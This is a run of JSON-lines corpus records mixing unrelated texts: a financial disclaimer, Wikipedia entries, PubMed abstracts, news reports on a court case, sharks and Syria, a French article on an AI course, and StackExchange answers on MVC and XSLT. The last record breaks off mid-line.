it\u2019s man-made. Headlines are appearing at an exponential...\n\nQuick Links\n\nCheck the background of your financial professional on FINRA's BrokerCheck.\n\nThe content is developed from sources believed to be providing accurate information.\nThe information in this material is not intended as tax or legal advice. Please consult legal or tax professionals\nfor specific information regarding your individual situation. Some of this material was developed and produced by\nFMG Suite to provide information on a topic that may be of interest. FMG Suite is not affiliated with the named\nrepresentative, broker - dealer, state - or SEC - registered investment advisory firm. The opinions expressed and\nmaterial","metadata":{"pile_set_name":"Pile-CC"},"id":947} {"contents":"provided are for general information, and should not be considered a solicitation for the purchase or\nsale of any security.","metadata":{"pile_set_name":"Pile-CC"},"id":948} {"contents":"what if i told you just because you turn on your hazard lights it doesn't mean you can park anywhere\n\n295 shares","metadata":{"pile_set_name":"OpenWebText2"},"id":949} {"contents":"Aghnadarragh\n\nAghnadarragh is a townland in County Antrim, Northern Ireland.\n\nSee also \nList of townlands in County Antrim\nList of places in County Antrim\n\nReferences\n\nCategory:Townlands of County Antrim","metadata":{"pile_set_name":"Wikipedia (en)"},"id":950} {"contents":"\nVoodle, the One-Minute Video App for Business - mdswanson\nhttps:\/\/venturebeat.com\/2020\/06\/29\/voodle-wants-companies-to-ditch-boring-group-calls-for-1-minute-videos\/\n======\nrachel_lanham\nCool!\n\n","metadata":{"pile_set_name":"HackerNews"},"id":951} {"contents":"Expression and characterization of recombinant GH11 xylanase from thermotolerant Streptomyces sp. SWU10.\nXylans are major hemicellulose components of plant cell wall which can be hydrolyzed by xylanolytic enzymes. Three forms of endo-\u03b2-1,4-xylanases (XynSW1, XynSW2A, and XynSW2B) produced by thermotolerant Streptomyces sp. SWU10 have been reported. In the present study, we described the expression and characterization of the fourth xylanase enzyme from this bacteria, termed XynSW3. The gene containing 726 bp was cloned and expressed in Escherichia coli. The recombinant enzyme (rXynSW3) was purified from cell-free extract to homogeneity using Ni-affinity column chromatography. The apparent molecular mass of rXynSW3 was 48 kDa. Amino acid sequence analysis revealed that it belonged to a xylanase of glycoside hydrolase family 11. The optimum pH and temperature for enzyme activity were 5.5-6.5 and 50","metadata":{"pile_set_name":"PubMed Abstracts"},"id":952} {"contents":"\u00b0C, respectively. The enzyme was stable up to 40 \u00b0C and in wide pH ranges (pH 0.6-10.3). Xylan without arabinosyl side chain is the most preferable substrate for the enzyme. By using birch wood xylan as substrate, rXynSW3 produced several oligosaccharides in the initial stage of hydrolysis, and their levels increased with time, demonstrating that the enzyme is an endo-acting enzyme. The major products were xylobiose, triose, and tetraose. The rXynSW3 can be applied in several industries such as food, textile, and biofuel industries, and waste treatment.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":953} {"contents":"\u00ab Nous souhaitons que, malgr\u00e9 le confinement, tous et toutes puissent continuer \u00e0 se former et \u00e0 s\u2019informer au sujet des enjeux de la technologie, plus pr\u00e9sente que jamais dans notre quotidien \u00bb : avec la formation \u00ab Objectif IA : initiez-vous \u00e0 l\u2019intelligence artificielle \u00bb lanc\u00e9e ce jeudi 2 avril, l\u2019Institut Montaigne ne souhaite pas laisser la mati\u00e8re grise en jach\u00e8re pendant la crise sanitaire.\n\nLutter contre les fantasmes\n\nGratuite et d\u2019une dur\u00e9e d\u2019environ six heures, la formation Objectif IA est accessible sur Open Classrooms et entend \u00e9clairer les aspects technologiques, \u00e9conomiques et sociaux de l\u2019intelligence artificielle (IA). \u00ab L\u2019id\u00e9e est n\u00e9e il y a environ six mois, en partant du constat que l\u2019IA suscite une s\u00e9rie de fantasmes et de craintes \u00bb, explique Anne Bouverot, pr\u00e9sidente de la","metadata":{"pile_set_name":"OpenWebText2"},"id":954} {"contents":"fondation Abeona, l\u2019un des trois piliers du projet avec la startup de l\u2019\u00e9ducation en ligne Open Classrooms. Cr\u00e9\u00e9e \u00e0 la fin 2017, la fondation Abeona \u00e9tudie aussi bien les possibilit\u00e9s ouvertes par l\u2019intelligence artificielle que ses dangers potentiels, en veillant \u00e0 ce qu\u2019elle n\u2019aggrave pas les in\u00e9galit\u00e9s.\n\n\u2192 \u00c0 LIRE. Un appel \u00e0 l\u2019utilisation \u00e9thique de l\u2019intelligence artificielle\n\nLe comit\u00e9 de pilotage d\u2019Objectif IA a r\u00e9uni une cinquantaine d\u2019acteurs publics et priv\u00e9s, dont la Poste, Orange, la gendarmerie nationale ou encore P\u00f4le emploi. \u00ab Chacun des partenaires s\u2019est engag\u00e9 \u00e0 diffuser largement le module aupr\u00e8s de ses clients et employ\u00e9s, afin que nous touchions un grand nombre de personnes \u00bb, pr\u00e9cise Anne Bouverot.\n\nFormation grand public\n\nEn s\u2019appuyant sur la plateforme d\u2019Open Classrooms et le carnet d\u2019adresses de l\u2019Institut Montaigne, l\u2019objectif consiste","metadata":{"pile_set_name":"OpenWebText2"},"id":955} {"contents":"\u00e0 atteindre 1 % de la population fran\u00e7aise, soit 670 000 personnes. Le cours en ligne se veut g\u00e9n\u00e9raliste et n\u2019exige aucun pr\u00e9requis.\n\n\u2192 TRIBUNE. Intelligence artificielle : \u00ab Nous avons d\u00e9j\u00e0 v\u00e9cu une trop longue phase de confiance aveugle \u00bb\n\nD\u00e9coup\u00e9 en plusieurs chapitres, il d\u00e9bute par les applications de l\u2019IA dans notre quotidien (enceintes \u00e0 commande vocale, v\u00e9hicule autonome), puis explique les diff\u00e9rentes facettes de l\u2019utilisation des donn\u00e9es (\u00ab big data \u00bb, fonctionnement des algorithmes, apprentissage automatique par les machines). Le dernier volet s\u2019attaque aux mythes entourant l\u2019IA, dont la suppos\u00e9e sup\u00e9riorit\u00e9 des programmes sur l\u2019intelligence humaine ou le risque de voir une \u00ab super-IA \u00bb devenir autonome et s\u2019affranchir du contr\u00f4le humain.\n\nApplications m\u00e9dicales\n\nBien que le projet ait \u00e9t\u00e9 pens\u00e9 avant l\u2019\u00e9pid\u00e9mie et que la formation n\u2019\u00e9voque pas","metadata":{"pile_set_name":"OpenWebText2"},"id":956} {"contents":"le coronavirus, \u00ab la sant\u00e9 est un des premiers domaines d\u2019application pour l\u2019utilisation des donn\u00e9es, notamment pour les prescriptions \u00bb, analyse Anne Bouverot. Le cours en ligne explique comment l\u2019IA peut appuyer les politiques de pr\u00e9vention (pour le d\u00e9pistage du cancer de sein par exemple), ainsi que la prise de d\u00e9cision des m\u00e9decins.\n\nD\u2019excellents sp\u00e9cialistes en France\n\nLa fondation Abeona m\u00e8ne d\u2019ailleurs, depuis deux ans, un projet consacr\u00e9 aux maladies neurod\u00e9g\u00e9n\u00e9ratives avec l\u2019Institut du cerveau et de la moelle \u00e9pini\u00e8re, afin d\u2019adapter les traitements en fonction de l\u2019\u00e9volution de la situation des patients. \u00ab Une partie de ce travail sur l\u2019IA vient d\u2019\u00eatre utilis\u00e9e pour la lecture d\u2019images de poumons de personnes atteintes du coronavirus \u00bb, annonce Anne Bouverot. Elle souligne la richesse des perspectives ouvertes par l\u2019utilisation des donn\u00e9es","metadata":{"pile_set_name":"OpenWebText2"},"id":957} {"contents":"et le fait que la France dispose d\u2019excellents sp\u00e9cialistes dans le domaine de l\u2019intelligence artificielle. \u00ab La formation suscitera peut-\u00eatre des vocations \u00bb, conclut-elle.\n\nPour acc\u00e9der \u00e0 la formation, c\u2019est ICI.","metadata":{"pile_set_name":"OpenWebText2"},"id":958} {"contents":"By LAMECH JOHNSON\n\nTribune Staff Reporter\n\nljohnson@tribunemedia.net\n\nA FRENCH-Canadian woman will return to the Magistrate's Court next week for another status hearing concerning her trial in connection with the alleged sexual assault of a minor.\n\nKarine Gagne, 23, of Quebec, Canada, initially appeared before Chief Magistrate Joyann Ferguson-Pratt facing a charge of unlawful sexual intercourse concerning an alleged incident on January 5 at Great Sturrup Cay with a 15-year-old boy, who cannot legally give consent to have sexual intercourse.\n\nThe matter was adjourned to Friday for a status hearing for the Canadian Consulate\u2019s facilitation of her legal representation concerning the charge and for the accused to make contact with family.\n\nHowever, when the matter was called before Magistrate Kara Turnquest-Deveaux, Gagne was told that another status hearing would be fixed for Monday.\n\nNo lawyer or","metadata":{"pile_set_name":"OpenWebText2"},"id":959} {"contents":"family had appeared for the hearing and Chief Magistrate Ferguson-Pratt was in Freeport, Grand Bahama, for the second city's Opening of the Legal Year ceremony.\n\nGagne was further remanded to the Department of Correctional Services until her next Magistrate's Court appearance.\n\nGagne has been charged under Section 11(1)(a) of the Sexual Offences Act, Chapter 99 which reads: \u201cAny person who has unlawful sexual intercourse with any person being of or above 14 years of age and under 16 years of age, whether with or without the consent of the person with whom he had unlawful sexual intercourse is guilty of an offence and liable to imprisonment for life.\u201d\n\nSection four of the Act notes that sexual intercourse includes \"(a) sexual connection occasioned by any degree of penetration of the vagina of","metadata":{"pile_set_name":"OpenWebText2"},"id":960} {"contents":"any person or anus of any person, or by the stimulation of the vulva of any person or anus of any person, by or with - (i) any part of the body of another person; or (ii) any object used by another person, except where the penetration or stimulation is carried out for proper medical purposes; and (b) sexual connection occasioned by the introduction of any part of the penis of any person into the mouth of another person, and any reference in this Act to the act of having sexual intercourse includes a reference to any stage or continuation of that act.\"\n\nThe accused was told that she would not be allowed to enter a plea until she is formally arraigned before a judge of the Supreme Court","metadata":{"pile_set_name":"OpenWebText2"},"id":961} {"contents":"when the matter is forwarded to the higher court through the presentation of a Voluntary Bill of Indictment.","metadata":{"pile_set_name":"OpenWebText2"},"id":962} {"contents":"2010 Dubai Tennis Championships \u2013 Women's Singles\n\nVenus Williams was the defending champion and defended her title by defeating Victoria Azarenka 6\u20133, 7\u20135 in the finals.\n\nSeeds\nThe top eight seeds receive a bye into the second round.\n\nDraw\n\nFinals\n{{8TeamBracket-Tennis3\n| RD1=Quarterfinals\n| RD2=Semifinals\n| RD3=Final\n\n| team-width=185\n\n| RD1-seed1=\u00a0\n| RD1-team1= Shahar Pe'er\n| RD1-score1-1=7| RD1-score1-2=3\n| RD1-score1-3=\u00a0\n| RD1-seed2=8\n| RD1-team2= Li Na\n| RD1-score2-1=5\n| RD1-score2-2=0\n| RD1-score2-3=r\n\n| RD1-seed3=3\n| RD1-team3= Venus Williams| RD1-score3-1=6| RD1-score3-2=6| RD1-score3-3=\u00a0\n| RD1-seed4=\u00a0\n| RD1-team4= Anastasia Pavlyuchenkova\n| RD1-score4-1=3\n| RD1-score4-2=4\n| RD1-score4-3=\u00a0\n\n| RD1-seed5=12\n| RD1-team5= Vera Zvonareva\n| RD1-score5-1=1\n| RD1-score5-2=3\n| RD1-score5-3=\u00a0\n| RD1-seed6=4\n| RD1-team6= Victoria Azarenka| RD1-score6-1=6| RD1-score6-2=6| RD1-score6-3=\u00a0\n\n| RD1-seed7=7\n| RD1-team7= Agnieszka Radwa\u0144ska| RD1-score7-1=3\n| RD1-score7-2=6| RD1-score7-3=6| RD1-seed8=Q\n| RD1-team8= Regina Kulikova\n| RD1-score8-1=6| RD1-score8-2=4\n| RD1-score8-3=3\n\n| RD2-seed1=\u00a0\n| RD2-team1= Shahar Pe'er\n| RD2-score1-1=1\n| RD2-score1-2=4\n| RD2-score1-3=\u00a0\n| RD2-seed2=3\n| RD2-team2= Venus Williams| RD2-score2-1=6| RD2-score2-2=6| RD2-score2-3=\u00a0\n\n| RD2-seed3=4\n| RD2-team3= Victoria Azarenka| RD2-score3-1=6| RD2-score3-2=6| RD2-score3-3=\u00a0\n| RD2-seed4=7\n| RD2-team4= Agnieszka Radwa\u0144ska\n| RD2-score4-1=3\n| RD2-score4-2=4\n| RD2-score4-3=\u00a0\n\n| RD3-seed1=3\n| RD3-team1= Venus Williams| RD3-score1-1=6|","metadata":{"pile_set_name":"Wikipedia (en)"},"id":963} {"contents":"RD3-score1-2=7| RD3-score1-3=\u00a0\n| RD3-seed2=4\n| RD3-team2= Victoria Azarenka\n| RD3-score2-1=3\n| RD3-score2-2=5\n| RD3-score2-3=\u00a0\n}}\n\nTop Half\n\nSection 1\n\n| RD1-score12-1=6| RD1-score12-2=6| RD1-score12-3=\u00a0\n\n| RD1-seed13=\u00a0\n| RD1-team13= D Hantuchov\u00e1| RD1-score13-1=6| RD1-score13-2=6| RD1-score13-3=\u00a0\n| RD1-seed14=Q\n| RD1-team14= V Manasieva\n| RD1-score14-1=4\n| RD1-score14-2=4\n| RD1-score14-3=\u00a0\n\n| RD2-seed01=3\n| RD2-team01= V Williams| RD2-score01-1=6| RD2-score01-2=6| RD2-score01-3=\u00a0\n| RD2-seed02=\u00a0\n| RD2-team02= S Lisicki\n| RD2-score02-1=2\n| RD2-score02-2=3\n| RD2-score02-3=\u00a0\n\n| RD2-seed03=\u00a0\n| RD2-team03= O Govortsova| RD2-score03-1=6| RD2-score03-2=6| RD2-score03-3=\u00a0\n| RD2-seed04=14\n| RD2-team04= F Schiavone\n| RD2-score04-1=4\n| RD2-score04-2=4\n| RD2-score04-3=\u00a0\n\n| RD2-seed05=\u00a0\n| RD2-team05= T Garbin\n| RD2-score05-1=6| RD2-score05-2=1\n| RD2-score05-3=2\n| RD2-seed06=\u00a0\n| RD2-team06=\n| RD3-score03-1=6| RD3-score03-2=6| RD3-score03-3=\u00a0\n| RD3-seed04=\u00a0\n| RD3-team04= D Hantuchov\u00e1\n| RD3-score04-1=3\n| RD3-score04-2=4\n| RD3-score04-3=\u00a0\n\n| RD4-seed01=3\n| RD4-team01= V Williams| RD4-score01-1=6| RD4-score01-2=6| RD4-score01-3=\u00a0\n| RD4-seed02=\u00a0\n| RD4-team02=\n| RD4-score02-1=3\n| RD4-score02-2=4\n| RD4-score02-3=\u00a0\n}}\n\nBottom Half\n\nSection 3\n\nSection 4\n{{16TeamBracket-Compact-Tennis3-Byes\n| RD1=First Round\n| RD2=Second Round\n| RD3=Third Round\n| RD4=Quarterfinals\n\n| RD1-seed03=Q\n| RD1-team03= A Sevastova| RD1-score03-1=6| RD1-score03-2=5\n| RD1-score03-3=7| RD1-seed04=\u00a0\n| RD1-team04= V Dushevina\n| RD1-score04-1=2\n| RD1-score04-2=7| RD1-score04-3=5\n\n| RD1-seed05=\u00a0\n| RD1-team05= A Petkovic| RD1-score05-1=2\n| RD1-score05-2=6| RD1-score05-3=6| RD1-seed06=\u00a0\n| RD1-team06= A Bondarenko\n| RD1-score06-1=6| RD1-score06-2=4\n| RD1-score06-3=3\n\n| RD1-seed07=\u00a0\n| RD1-team07= M","metadata":{"pile_set_name":"Wikipedia (en)"},"id":964} {"contents":"Czink\n| RD1-score07-1=4\n| RD1-score07-2=1\n| RD1-score07-3=\u00a0\n| RD1-seed08=<small>10\/WC\n| RD1-team08= F Pennetta| RD1-score08-1=6| RD1-score08-2=6| RD1-score08-3=\u00a0\n\n| RD1-seed09=15\n| RD1-team09= N Petrova\n| RD1-score09-1=65\n| RD1-score09-2=65\n| RD1-score09-3=\u00a0\n| RD1-seed10=WC\n| RD1-team10= S V\u00f6gele| RD1-score10-1=7| RD1-score10-2=7| RD1-score10-3=\u00a0\n\n| RD1-seed11=WC\n| RD1-team11= M Kirilenko\n| RD1-score11-1=3\n| RD1-score11-2=0\n| RD1-score11-3=\u00a0\n| RD1-seed12=Q\n| RD1-team12= R Kulikova| RD1-score12-1=6| RD1-score12-2=6| RD1-score12-3=\u00a0\n\n| RD1-seed13=\u00a0\n| RD1-team13= S Mirza\n| RD1-score13-1=3\n| RD1-score13-2=4\n| RD1-score13-3=\u00a0\n| RD1-seed14=\u00a0\n| RD1-team14=\n| RD3-score01-1=6| RD3-score01-2=6| RD3-score01-3=\u00a0\n| RD3-seed02=<small>10\/WC\n| RD3-team02= F Pennetta\n| RD3-score02-1=3\n| RD3-score02-2=0\n| RD3-score02-3=\u00a0\n\n| RD3-seed03=Q\n| RD3-team03= R Kulikova| RD3-score03-1=5\n| RD3-score03-2=7| RD3-score03-3=6| RD3-seed04=2\n| RD3-team04= S Kuznetsova\n| RD3-score04-1=7'''\n| RD3-score04-2=62\n| RD3-score04-3=4\n\n| RD4-seed01=7\n| RD4-team01=\n\nExternal links\nMain Draw Singles\nQualifying Draw\n\nCategory:2010 Dubai Tennis Championships\nDubai Tennis Championships - Women's Singles","metadata":{"pile_set_name":"Wikipedia (en)"},"id":965} {"contents":"Pharmacology of capsaicin-, anandamide-, and N-arachidonoyl-dopamine-evoked cell death in a homogeneous transient receptor potential vanilloid subtype 1 receptor population.\nTransient receptor potential vanilloid subtype 1 (TRPV1) receptor is a primary pain-sensing relay at peripheral sensory nerve endings and is also widespread in the brain, where it is implicated in neurodegeneration. Previous studies of TRPV1 neurotoxicity have utilized heterogeneous receptor populations, non-selective ligands, or non-neuronal cell types. Here, we explored the pharmacology of TRPV1-induced cytotoxicity in a homogeneous, neurone-like cellular environment. Cell death was examined in a human neurone-like cell line, stably expressing recombinant human TRPV1. Cytotoxicity was quantified in terms of nuclear morphology and mitochondrial complex II activity. Immunocytochemical markers of apoptotic cell death were also examined. The TRPV1-selective agonist capsaicin, and the endovanilloids anandamide and N-arachidonoyl-dopamine (NADA), induced","metadata":{"pile_set_name":"PubMed Abstracts"},"id":966} {"contents":"TRPV1-dependent delayed cell death in a concentration- and time-dependent manner. Capsaicin exposure time was significantly correlated with potency (r(2)=0.91, P=0.01). Release of cytochrome c from mitochondria, activation of caspase-3, and condensed nuclear chromatin were evident 6 h after capsaicin exposure, but cytotoxicity was unaffected by a pan-caspase inhibitor (zVAD-fmk, 50 microM). We conclude that capsaicin, anandamide, and NADA can initiate TRPV1-dependent delayed cell death in neurone-like cells. This is an apoptosis-like process, but independent of caspase activity.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":967} {"contents":"Q:\n\nQual a diferen\u00e7a entre MVC \"action based\" e \"component based\"?\n\nEsta resposta desta pergunta respode as vantagens e desvantagens de cada um, mas sem explicar qual a diferen\u00e7a entre eles.\nPergunto:\n\nQual a diferen\u00e7a entre eles?\nExemplos de frameworks que usam cada um deles.\n\nObs.: Deixemos de fora as vantagens\/desvantagens, pois isso pode ser respondido na pergunta linkada acima\n\nA:\n\nFrameworks Component Based\nFrameworks Component Based mant\u00e9m sincronia entre os estados dos componentes da view e do seu modelo de dados no lado do servidor.\nQuando o usu\u00e1rio interage com a tela, as altera\u00e7\u00f5es realizadas s\u00e3o, em um dado momento, refletidas no modelo que fica no servidor.\nNo JSF, por exemplo, a \"tela\" \u00e9 gerada por um facelet, que nada mais \u00e9 que um XML que define quais componentes ser\u00e3o exibidos para o usu\u00e1rio e associam os valores","metadata":{"pile_set_name":"StackExchange"},"id":968} {"contents":"desses componentes a um objeto (Java Bean) que fica no servidor. Esses componentes s\u00e3o ent\u00e3o renderizados em HTML e, quando o usu\u00e1rio executa uma a\u00e7\u00e3o, o JSF atualiza os objetos no servidor.\nN\u00e3o encontrei uma representa\u00e7\u00e3o visual adequada, mas algo aproximado num artigo da Caelum sobre o tema:\n\nEm frameworks component based, a view \u00e9 respons\u00e1vel por mapear valores para os beans e para o modelo. A imagem acima ilustra a ordem de chamadas:\n\nO usu\u00e1rio executa uma a\u00e7\u00e3o no sistema\nO front controller do framework atualiza os componentes da view com o estado atual\nO m\u00e9todo do Managed Bean \u00e9 chamado (usando JSF como exemplo), podendo executar alguma regra de neg\u00f3cio com os novos valores\nFinalmente, o modelo do sistema \u00e9 atualizado\n\nFrameworks Action Based\nJ\u00e1 os frameworks Action Based n\u00e3o mant\u00e9m necessariamente esse v\u00ednculo","metadata":{"pile_set_name":"StackExchange"},"id":969} {"contents":"entre os estados do servidor e do cliente. \nIsso n\u00e3o quer dizer que o desenvolvedor n\u00e3o possa armazenar estado no servidor, por exemplo, na sess\u00e3o do usu\u00e1rio, mas que o v\u00ednculo entre o modelo e a view n\u00e3o \u00e9 t\u00e3o acoplado como no modelo Component Based.\nUm framework Action Based geralmente ir\u00e1 receber diretamente requisi\u00e7\u00f5es HTTP. Isso torna o modelo action based mais flex\u00edvel, j\u00e1 que o desenvolvedor pode optar por qualquer tipo de view que gere uma requisi\u00e7\u00e3o HTTP compat\u00edvel.\nConsidere a ilustra\u00e7\u00e3o a seguir (da mesma fonte anterior):\n\nO resumo dos passos da execu\u00e7\u00e3o \u00e9:\n\nO usu\u00e1rio executa uma a\u00e7\u00e3o no sistema\nO front controller do framework direciona a requisi\u00e7\u00e3o e os par\u00e2metros para um m\u00e9todo do controller\nO controller l\u00ea os par\u00e2metros necess\u00e1rios e executa regras de neg\u00f3cio que atualizam o","metadata":{"pile_set_name":"StackExchange"},"id":970} {"contents":"modelo\nO controller \"devolve\" uma view para o usu\u00e1rio\n\nConclus\u00e3o\nPodemos dizer que os frameworks component based s\u00e3o mais centrados nas views (com seus componentes que mapeiam o modelo e os dados do usu\u00e1rio), enquanto os action based s\u00e3o mais centrados nos controllers (que recebem par\u00e2metros via request).\nExemplos de frameworks j\u00e1 est\u00e3o na resposta citada na quest\u00e3o.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":971} {"contents":"Great white sharks bite off far more than believed: new study\n\nSYDNEY \u2013 Great white sharks, the world\u2019s largest predatory fish, eat three to four times more food than previously thought, an Australian study shows.\n\nU.S. research from the 1980s estimated a 30 kg meal of mammal blubber could sustain a 1-ton shark for more than six weeks. That perpetuated assumptions that large sharks could survive long periods without eating.\n\nHowever, a University of Tasmania-led study published this week in Scientific Reports on the nature.com website found that 30 kg was only sufficient for 12-15 days.\n\nResearchers tagged a dozen great white sharks at Neptune Islands off south Australia and calculated their metabolic rate derived from swimming speeds. They then worked out how much energy the sharks burned and how much food","metadata":{"pile_set_name":"Pile-CC"},"id":972} {"contents":"they required.\n\nSenior researcher Jayson Semmens, the study\u2019s lead author, said the amount of energy required by great white sharks was equivalent to eating a seal pup every three days.\n\n\u201cThey (U.S. researchers) picked a shark that probably wasn\u2019t working very hard at the time,\u201d Semmens told ABC television. \u201cAt the time it was a really novel study. They did some metabolic work similar to us but on (only) one shark.\n\n\u201cThe white sharks at a seal colony where we worked, they\u2019re working pretty hard. . . . They\u2019re coming up to some pretty high speeds to catch the seals. Their metabolic rate or the engine that runs them is much faster than what we had assumed,\u201d he said. \u201cThese animals are probably going to be feeding, you know, every few","metadata":{"pile_set_name":"Pile-CC"},"id":973} {"contents":"days, rather than multiple weeks.\u201d\n\nThe research also sought to improve understanding of how sharks fit into the ocean ecosystem.\n\n\u201cWe don\u2019t have a good handle on the population sizes of white sharks. We know that sharks in general are under pressure around the world from overfishing,\u201d he said. \u201cThey\u2019re quite vulnerable because of their life history, they\u2019re long-lived, they reproduce late in their life and they produce a small number of offspring.\u201d\n\nSemmens noted the knock-on effects of removing white sharks from the ocean were thus far more important than realized, saying, \u201cThey\u2019re keeping under control a lot more animals than we thought.\u201d\n\nThe apex marine predators, which grow up to 5 meters long and weigh an average 1,300 kg, are found and protected around the globe.","metadata":{"pile_set_name":"Pile-CC"},"id":974} {"contents":"UN Child Rights Committee appalled at deliberate targeting of children in Syria\n\nGENEVA (31 May 2012) \u2013 The Committee on the Rights of the Child on Thursday strongly deplored the massacre that took place in the El Houleh area of Homs in Syria on 25 and 26 May in which at least 108 people, including 49 children, were killed. Most of these children were reportedly under the age of 10. The Committee expressed further alarm at reports by United Nations observers of the continued indiscriminate acts of violence and killings against the civilian population and the increasing number of civilian victims, particularly children.\n\n\u201cThe Committee is deeply concerned that, since the beginning of protests in Syria in March 2011, hundreds of children have been killed, injured and detained, and that","metadata":{"pile_set_name":"Pile-CC"},"id":975} {"contents":"despite strong and repeated calls to the State and other parties to stop such grave violations, no action appears to have been taken,\u201d the Committee stated. \u201cWe are appalled by information that in the El Houleh area, civilians - including children - could have been deliberately targeted.\u201d\n\nThe Committee highlighted its concluding observations and recommendations, adopted on 7 October 2011, after reviewing the third and fourth periodic reports of the Syrian Arab Republic under the Convention on the Rights of the Child. In particular, the Committee reiterated \u201cits deepest concern over credible, corroborated and consistent reports of gross violations of children\u2019s rights that have been committed since the start of the uprising in March 2011, including arbitrary arrests and detentions, killings of children during demonstrations, torture and ill-treatment.\u201d\n\nIt further","metadata":{"pile_set_name":"Pile-CC"},"id":976} {"contents":"stated: \u201cThe Committee reminds the State party that it bears the primary responsibility to protect its population and should therefore take immediate measures to stop the use of excessive and lethal force against civilians and to prevent further violence against children, including killing and injuring.\u201d**\n\nThe Committee, which is holding its 60th session in Geneva, urged the Syrian Arab Republic to ensure that perpetrators of the latest massacre at El Houleh, as well as all those responsible for crimes against children taking place in Syria, are held accountable.\n\n\u201cWe echo the call of the High Commissioner for Human Rights for an immediate and unfettered investigation of the incident by an independent and impartial international body,\u201d the Committee stated.","metadata":{"pile_set_name":"Pile-CC"},"id":977} {"contents":"Q:\n\nHow to make this specific query using xslt 2.0?\n\nThe Below mentioned content is my XML Document.\n<w:document>\n\n <w:body>\n <w:p pStyle=\"Heading1\">Para1<\/w:p> \n <w:p pStyle=\"Heading2\">Para2<\/w:p> \n <w:p pStyle=\"Heading3\">Para3<\/w:p> \n <w:p pStyle=\"Heading4\">Para4<\/w:p> \n\n <w:p pStyle=\"Heading1\">Para5<\/w:p> \n <w:p pStyle=\"Heading3\">Para6<\/w:p> \n <w:p pStyle=\"Heading4\">Para7<\/w:p> \n\n ","metadata":{"pile_set_name":"StackExchange"},"id":978} {"contents":" <w:p pStyle=\"Heading2\">Para8<\/w:p> \n <w:p pStyle=\"Heading3\">Para9<\/w:p> \n\n <w:p pStyle=\"Heading1\">Para10<\/w:p> \n\n <\/w:body>\n\n<\/w:document>\n\nSo, While reading each <w:p>, i want to check its attribute value pStyle Value.For example, in the above file,the first <w:p> contains that attribute value as \"Heading1\". So, For the first <w:p>, i don't care about anything and just take it.After, taken this <w:p>,\n*Logic 1 :*i want to split the attribute value Heading1 for retrieving strings after the Heading. So,Now we get '1'.\nAfterwards, the While reading next <w:p>,Apply the same Logic 1 for spiting the current attribute value.So,in this case, we have '2'.","metadata":{"pile_set_name":"StackExchange"},"id":979} {"contents":"Now, i want to compare this current value '2' with previous value '1'.\nLogic 2 : If it is less than the previous value then only select the current <w:p>,otherwise,don't do anything.\nApply the above Logic 1 and Logic 2 for all of the <w:p> nodes.\nSo,In my case, I want to select, only the following <w:p> nodes.\n\nRequired Selection is :\n\nPara1\nPara5\nPara8\nPara10\n\nHope u understood my problem...\nWhat i do for this situation?...\nPlease Guide me to get out of this issue...\nThanks & Regards,\nP.SARAVANAN\n\nA:\n\nI think this can be done in XSLT1.0, by a simple addition to the identity transform. You just need to ignore w:p nodes where the pStyle attribute is greater than, or equal, the previous sibling, I think.\n<xsl:template match=\"w:p[\n number(substring-after(@pStyle, 'Heading')) \n ","metadata":{"pile_set_name":"StackExchange"},"id":980} {"contents":" >= number(substring-after(preceding-sibling::w:p[1]\/@pStyle, 'Heading'))\n ]\">\n <!-- Ignore the node -->\n<\/xsl:template>\n\nHere is the full transform in this case (note that you may have to amend the namespace)\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http:\/\/www.w3.org\/1999\/XSL\/Transform\" xmlns:w=\"http:\/\/stackoverflow.com\/users\/452680\/saravanan\">\n <xsl:output method=\"xml\" indent=\"yes\"\/>\n\n <xsl:template match=\"\/\">\n <xsl:apply-templates \/>\n <\/xsl:template>\n\n <xsl:template match=\"w:p[number(substring-after(@pStyle, 'Heading')) >= number(substring-after(preceding-sibling::w:p[1]\/@pStyle, 'Heading'))]\">\n <!-- Ignore the node -->\n <\/xsl:template>\n\n <xsl:template match=\"@*|node()\">\n <xsl:copy>\n <xsl:apply-templates select=\"@*|node()\"\/>\n <\/xsl:copy>\n <\/xsl:template>\n<\/xsl:stylesheet>\n\nWhen applied on your sample XML, the output XML is as follows:\n<w:document xmlns:w=\"http:\/\/stackoverflow.com\/users\/452680\/saravanan\">\n <w:body>\n <w:p pStyle=\"Heading1\">Para1<\/w:p>\n ","metadata":{"pile_set_name":"StackExchange"},"id":981} {"contents":" <w:p pStyle=\"Heading1\">Para5<\/w:p>\n <w:p pStyle=\"Heading2\">Para8<\/w:p>\n <w:p pStyle=\"Heading1\">Para10<\/w:p>\n <\/w:body>\n<\/w:document>\n\nA:\n\nJust use this XPath 1.0 expression:\n\/*\/*\/w:p[not(substring-after(@pStyle,'Heading')\n >= \n substring-after(preceding-sibling::*[1]\/@pStyle,'Heading')\n )\n ]\n\nA corresponding XPath 2.0 expression selecting the same set of elements is:\n \/*\/*\/w:p[1]\n|\n \/*\/*\/w:p[position() ge 2]\n [xs:integer(substring-after(@pStyle,'Heading'))\n lt\n ","metadata":{"pile_set_name":"StackExchange"},"id":982} {"contents":"xs:integer(substring-after(preceding-sibling::*[1]\/@pStyle,'Heading'))\n ]\n\nIf you use XSLT 2.0, you can override the identity rule\/template as follows:\n<xsl:stylesheet version=\"2.0\"\n xmlns:xsl=\"http:\/\/www.w3.org\/1999\/XSL\/Transform\"\n xmlns:xs=\"http:\/\/www.w3.org\/2001\/XMLSchema\"\n xmlns:w=\"Undefined!!!\">\n <xsl:output omit-xml-declaration=\"yes\" indent=\"yes\"\/>\n <xsl:strip-space elements=\"*\"\/>\n\n <xsl:template match=\"node()|@*\">\n <xsl:copy>\n <xsl:apply-templates select=\"node()|@*\"\/>\n <\/xsl:copy>\n <\/xsl:template>\n\n <xsl:template match=\n \"w:p[xs:integer(substring-after(@pStyle,'Heading'))\n ge\n xs:integer(substring-after(preceding-sibling::*[1]\/@pStyle,'Heading'))\n ]\"\/>\n<\/xsl:stylesheet>\n\nwhen applied on the provided XML document (fixed to be well-formed):\n<w:document xmlns:w=\"Undefined!!!\">\n <w:body>\n <w:p pStyle=\"Heading1\">Para1<\/w:p>\n <w:p pStyle=\"Heading2\">Para2<\/w:p>\n","metadata":{"pile_set_name":"StackExchange"},"id":983} {"contents":" <w:p pStyle=\"Heading3\">Para3<\/w:p>\n <w:p pStyle=\"Heading4\">Para4<\/w:p>\n <w:p pStyle=\"Heading1\">Para5<\/w:p>\n <w:p pStyle=\"Heading3\">Para6<\/w:p>\n <w:p 